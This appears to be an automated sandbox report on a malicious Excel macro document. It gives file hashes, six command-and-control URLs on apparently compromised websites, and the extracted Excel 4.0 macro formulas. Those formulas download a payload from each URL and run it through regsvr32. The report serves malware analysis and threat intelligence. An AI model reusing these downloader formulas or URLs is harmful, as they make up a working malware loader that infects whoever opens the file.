General

  • Target

    4b1372de3f32d76af1179b8cc2369596ff3dccfbcbe76b23b1ae654d7680b2d8

  • Size

    46KB

  • MD5

    12f803109c5d2bc4512e9a6cdcd00d5f

  • SHA1

    30b4414b7870ea24d7c02c023cacc2b60b971da9

  • SHA256

    4b1372de3f32d76af1179b8cc2369596ff3dccfbcbe76b23b1ae654d7680b2d8

  • SHA512

    cbae49da4b174857dec43d04827c22df8962f9ab91fb403f62544a431c60cf89b20d47d0a97e9c258a46a11f5d90550e9374fb1346a83d6c7ccbcf902f8f9ae8

  • SSDEEP

    768:Sio9DOevZCwrvtD608zdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VPWft:Sio9D7UtT5fTR4Lh1NisFYBc3cr+UqVC

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://diacrestgroup.com/ggv3rjy/9/

https://merturku.com/blogs/IFcif/

https://tugbagoncaguzellik.com/odwxblu/hRhyIiTr7M8/

https://winnieswondersaviary.com/wp-content/GfGvSMj6HihGNZZa9T/

https://mayatherm.com/vendor/3Vk/

https://dbmtechnologies.ca/wp-content/oZE7jRqRoPg7zVVW9/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://diacrestgroup.com/ggv3rjy/9/","..\aew.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://merturku.com/blogs/IFcif/","..\aew.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://tugbagoncaguzellik.com/odwxblu/hRhyIiTr7M8/","..\aew.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://winnieswondersaviary.com/wp-content/GfGvSMj6HihGNZZa9T/","..\aew.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://mayatherm.com/vendor/3Vk/","..\aew.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://dbmtechnologies.ca/wp-content/oZE7jRqRoPg7zVVW9/","..\aew.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aew.ocx") =RETURN()

Signatures

  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

Files

  • 4b1372de3f32d76af1179b8cc2369596ff3dccfbcbe76b23b1ae654d7680b2d8
    .xlsm office2007